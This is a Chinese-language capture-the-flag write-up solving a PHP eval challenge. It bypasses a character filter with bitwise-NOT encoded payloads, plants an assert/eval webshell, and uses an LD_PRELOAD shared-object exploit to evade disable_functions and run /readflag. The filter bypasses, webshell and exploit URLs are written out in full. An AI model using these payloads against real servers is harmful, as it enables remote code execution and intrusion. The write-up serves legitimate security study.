访问页面,上源码;
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
?>
像这种过滤了英文字符和数字字符的立马想到编码绕过;
如果使用urlencode的话,不编码英文字符,所以想到可以取反;
字符先取反,但是基本都是无法打印出来的字符,所以urlencode一下;
先看看phpinfo();
<?php
$hack = "phpinfo";
echo urlencode(~$hack);
得到
%8F%97%8F%96%91%99%90
在赋值给code的时候再取反,相当于没有取反;
?code=(~%8F%97%8F%96%91%99%90)();
别忘记分号了;
接下来要构造一个一句话木马;
assert(eval($_POST["klose"]));
要将它urlencode并取反的话,需要先作字符串赋值给变量,然后最后引入这个变量取反;
完整payload
<?php
$a='assert';
echo urlencode(~$a)."<br/>";
$b='(eval($_POST["klose"]))';
echo urlencode(~$b)."<br/>";
?>
得到
%9E%8C%8C%9A%8D%8B
%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%94%93%90%8C%9A%DD%A2%D6%D6
给code赋值
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%94%93%90%8C%9A%DD%A2%D6%D6);
然后用蚁剑连接;
发现根目录里有个空的flag文件,还有一个readflag可执行文件;
终端执行以下,但是发现这是个空shell;
到这里我就不会做了,只知道需要绕过禁用的函数去拿flag,但是不知道如何动手…
面向csdn程序设计,看了别人的文章,学习一下;
这个方法是利用linux提供的LD_preload环境变量来劫持共享so,然后在启动子进程的时候,新的子进程会加载恶意的so拓展,接着就可以在so里面定义同名函数,即可劫持API调用,成功RCE;
意思就是绕过了disabled_functions,仍然可以继续使用被禁用的函数;
参考链接
可以说还是很有用的;
Github上的EXP
上传bypass_disablefunc_x64.so和bypass_disablefunc.php到/var/temp;
把php文件改个名,方便一点;
重新构造payload
?code=${_GET}[_](${_GET}[_]);&_=assert&_=eval($_POST['a'])
再加上对应的getshell文件和绕过exploit文件即为:
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/shell.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so
上传得到flag;
flag{f6765a95-8f96-4f5a-b8ad-ec2ba766e758}